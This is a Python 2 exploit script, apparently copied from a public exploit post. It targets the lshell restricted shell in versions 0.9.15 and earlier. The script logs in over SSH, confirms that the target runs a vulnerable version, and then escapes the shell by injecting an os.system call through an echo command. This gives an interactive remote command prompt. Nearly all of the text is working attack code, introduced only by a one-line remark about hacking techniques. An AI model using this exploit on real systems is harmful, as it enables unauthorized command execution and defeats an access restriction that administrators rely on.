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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

import paramiko
import traceback
from time import sleep

#
# Exploit lshell pathing vulnerability in <= 0.9.15.
# Runs commands on the remote system.
# @dronesec
#

if len(sys.argv) < 4:
    print '%s: [USER] [PW] [IP] {opt: port}'%(sys.argv[0])
    sys.exit(1)

try:
    print '[!] .............................'
    print '[!] lshell <= 0.9.15 remote shell.'
    print '[!] note: you can also ssh in and execute \'/bin/bash\''
    print '[!] .............................'
    print '[!] Checking host %s...'%(sys.argv[3])
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    if len(sys.argv) == 5:
        ssh.connect(sys.argv[3],port=int(sys.argv[4]),username=sys.argv[1],password=sys.argv[2])
    else:
        ssh.connect(sys.argv[3],username=sys.argv[1],password=sys.argv[2])


    # verify lshell 
    channel = ssh.invoke_shell()
    while not channel.recv_ready(): sleep(1)
    ret = channel.recv(2048)

    channel.send('help help\n')
    while not channel.recv_ready(): sleep(1)
    ret = channel.recv(2048)

    if not 'lshell' in ret:
        if 'forbidden' in ret:
            print '[-] Looks like we can\'t execute SSH commands'
        else:
            print '[-] Environment is not lshell'
        sys.exit(1)

    # verify vulnerable version
    channel.send('sudo\n')
    while not channel.recv_ready(): sleep(1)
    ret = channel.recv(2048)
    if not 'Traceback' in ret:
        print '[-] lshell version not vulnerable.'
        sys.exit(1)
    channel.close()
    ssh.close()

    # exec shell
    print '[+] vulnerable lshell found, preparing pseudo-shell...'
    if len(sys.argv) == 5:
        ssh.connect(sys.argv[3],port=int(sys.argv[4]),username=sys.argv[1],password=sys.argv[2])
    else:
        ssh.connect(sys.argv[3],username=sys.argv[1],password=sys.argv[2])

    while True:
        cmd = raw_input('$ ')

        # breaks paramiko
        if cmd[0] is '/':
            print '[!] Running binaries won\'t work!'
            continue

        cmd = cmd.replace("'", r"\'")
        cmd = 'echo __import__(\'os\').system(\'%s\')'%(cmd.replace(' ',r'\t'))
        if len(cmd) > 1:
            if 'quit' in cmd or 'exit' in cmd:
                break
            (stdin,stdout,stderr) = ssh.exec_command(cmd)
        out = stdout.read()
        print out.strip()
except paramiko.AuthenticationException:
    print '[-] Authentication to %s failed.'%sys.argv[3]
except Exception, e:
    print '[-] Error: ', e
    print type(e)
    traceback.print_exc(file=sys.stdout)
finally:
    channel.close()
    ssh.close()